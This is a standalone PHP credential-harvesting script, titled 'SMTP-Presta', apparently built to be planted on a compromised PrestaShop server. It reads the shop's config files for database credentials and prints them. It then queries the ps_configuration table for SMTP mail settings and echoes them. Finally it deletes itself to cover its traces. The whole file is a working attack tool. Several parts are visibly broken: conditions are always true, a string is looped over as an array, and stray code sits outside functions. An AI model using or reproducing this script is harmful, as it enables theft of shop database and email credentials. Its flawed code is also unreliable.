Untitled

<?php
ini_set('memory_limit', '-1');
error_reporting(1);
echo "
<html>
<center><h4>SMTP-Presta</h4><br>
</html>
";
if (file_exists("config/settings.inc.php") or ("../config/settings.inc.php") or ("../../config/settings.inc.php") or ("../../../config/settings.inc.php") or ("../../../../config/settings.inc.php") or ("../../../../../config/settings.inc.php") or ("../../../../../../config/settings.inc.php"))
{
    $config = array(
        "config/settings.inc.php",
        "../config/settings.inc.php",
        "../../config/settings.inc.php",
        "../../../config/settings.inc.php",
        "../../../../config/settings.inc.php",
        "../../../../../config/settings.inc.php",
        "../../../../../../config/settings.inc.php"
    );
    foreach ($config as $wpcon)
    {
        $file = @file_get_contents($wpcon);
        if (@preg_match("/'_DB_SERVER_', '/i", $file) or @preg_match("/'_DB_NAME_', '/i", $file))
        {
            //////////host////////////////
            //////////host////////////////
            $host = explode("'_DB_SERVER_', '", $file);
            $host = explode("');", $host[1]);
            $host = $host[0];
            /////////user///////////////
            $user = explode("'_DB_USER_', '", $file);
            $user = explode("');", $user[1]);
            $user = $user[0];
            ////////password///////////
            $pass = explode("'_DB_PASSWD_', '", $file);
            $pass = explode("');", $pass[1]);
            $pass = $pass[0];
            ///////////////////////////////////////
            echo "db-host : $host <br>";
            echo "db-user : $user <br>";
            echo "db-pass : $pass <br>";
            //////////////////////////////////////////////////////////////////////////
            bajatax_co($host, $user, $pass, "list.txt");
            exit();

        }
    }
}
if (file_exists("app/config/parameters.php") or ("../capp/config/parameters.php") or ("../../app/config/parameters.php") or ("../../../app/config/parameters.php") or ("../../../../app/config/parameters.php") or ("../../../../../app/config/parameters.php") or ("../../../../../../app/config/parameters.php"))
{
    $config = array(
        "app/config/parameters.php",
        "../app/config/parameters.php",
        "../../app/config/parameters.php",
        "../../../app/config/parameters.php",
        "../../../../app/config/parameters.php",
        "../../../../../app/config/parameters.php",
        "../../../../../../app/config/parameters.php"
    );
    foreach ($config as $wpcon)
    {
        $file = @file_get_contents($wpcon);
        if (@preg_match("/database_name/i", $file) or @preg_match("/database_user/i", $file))
        {
            //////////host////////////////
            //////////host////////////////
            $host = explode("database_host' => '", $file);
            $host = explode("'", $host[1]);
            $host = $host[0];
            /////////user///////////////
            $user = explode("database_user' => '", $file);
            $user = explode("'", $user[1]);
            $user = $user[0];
            ////////password///////////
            $pass = explode("database_password' => '", $file);
            $pass = explode("'", $pass[1]);
            $pass = $pass[0];
            ///////////////////////////////////////
            echo "db-host : $host <br>";
            echo "db-user : $user <br>";
            echo "db-pass : $pass <br>";
            //////////////////////////////////////////////////////////////////////////
            bajatax_co($host, $user, $pass, "list.txt");
            exit();

        }
    }
}
else
{
    echo "i dontknow :/ \n\n";

}
function grapper1($host, $user, $pass, $file)
{
    /*
    author : G-B
    email : fb/psycomiste.93
    */
    $con = mysql_connect($host, $user, $pass);
    $fp = fopen($file, 'a');
    $count = 0;
    $databases = getdata("SHOW DATABASES");
    foreach ($databases as $database)
    {
        $tables = 'ps_configuration';
        foreach ($tables as $table)
        {
            $columns = getdata("SHOW COLUMNS FROM $database.$table");
            foreach ($columns as $column)
            {
                $result4 = @mysql_query($link, "SELECT value,name FROM $database.$table WHERE $column LIKE '%PS_MAIL%'");
                while ($row4 = mysql_fetch_all($result4))
                {
                    $file1 = $row4[2][0];
                    $file2 = $row4[3][0];
                    $file3 = $row4[4][0];
                    $file4 = $row4[5][0];
                    $file6 = $row4[6][0];
                    echo "<br>$file1|$file6|$file2|$file3";

                    $count++;
                    exit();

                }
            }
        }
    }
}
fclose($fp);
mysql_close($con);
return $count;

function grapper2($host, $user, $pass, $file)
{
    $sql = "SHOW DATABASES";
    $link = @mysqli_connect($host, $user, $pass) or die('Error connecting to mysql: ' . mysqli_error($link) . '\r\n');
    $result = @mysqli_query($link, $sql);
    $fp = fopen($file, "a");
    if (function_exists("chmod"))
    {
        @chmod($file, 0755);
    }
    while ($row = mysqli_fetch_row($result))
    {
        $database = $row[0];
        $result2 = @mysqli_query($link, "SHOW TABLES FROM $database");
        while ($row2 = mysqli_fetch_row($result2))
        {
            $table = 'ps_configuration';
            $result3 = @mysqli_query($link, "SHOW COLUMNS FROM $database.$table");
            while ($row3 = mysqli_fetch_row($result3))
            {
                $column = $row3[0];
                $result4 = @mysqli_query($link, "SELECT value,name FROM $database.$table WHERE $column LIKE '%PS_MAIL%'");
                while ($row4 = mysqli_fetch_all($result4))
                {
                    $file1 = $row4[2][0];
                    $file2 = $row4[3][0];
                    $file3 = $row4[4][0];
                    $file4 = $row4[5][0];
                    $file6 = $row4[6][0];
                    echo "<br>$file1|$file6|$file2|$file3";

                    $count++;
                    exit();

                }
            }
        }
    }
}

function getdata($sql)
{
    $q = @mysql_query($sql);
    $result = array();
    while ($d = @mysql_fetch_array($q))
    {
        $result[] = $d[0];
    }
    return $result;
}
function bajatax_co($host, $user, $pass, $file)
{
    if (function_exists("mysql_connect"))
    {
        grapper2($host, $user, $pass, $file);
    }
    elseif (function_exists("mysqli_connect"))
    {
        grapper2($host, $user, $pass, $file);
    }
    else
    {
        echo "No function grappe for this site exist :/ Add this site";
    }

}
unlink(__FILE__);
?>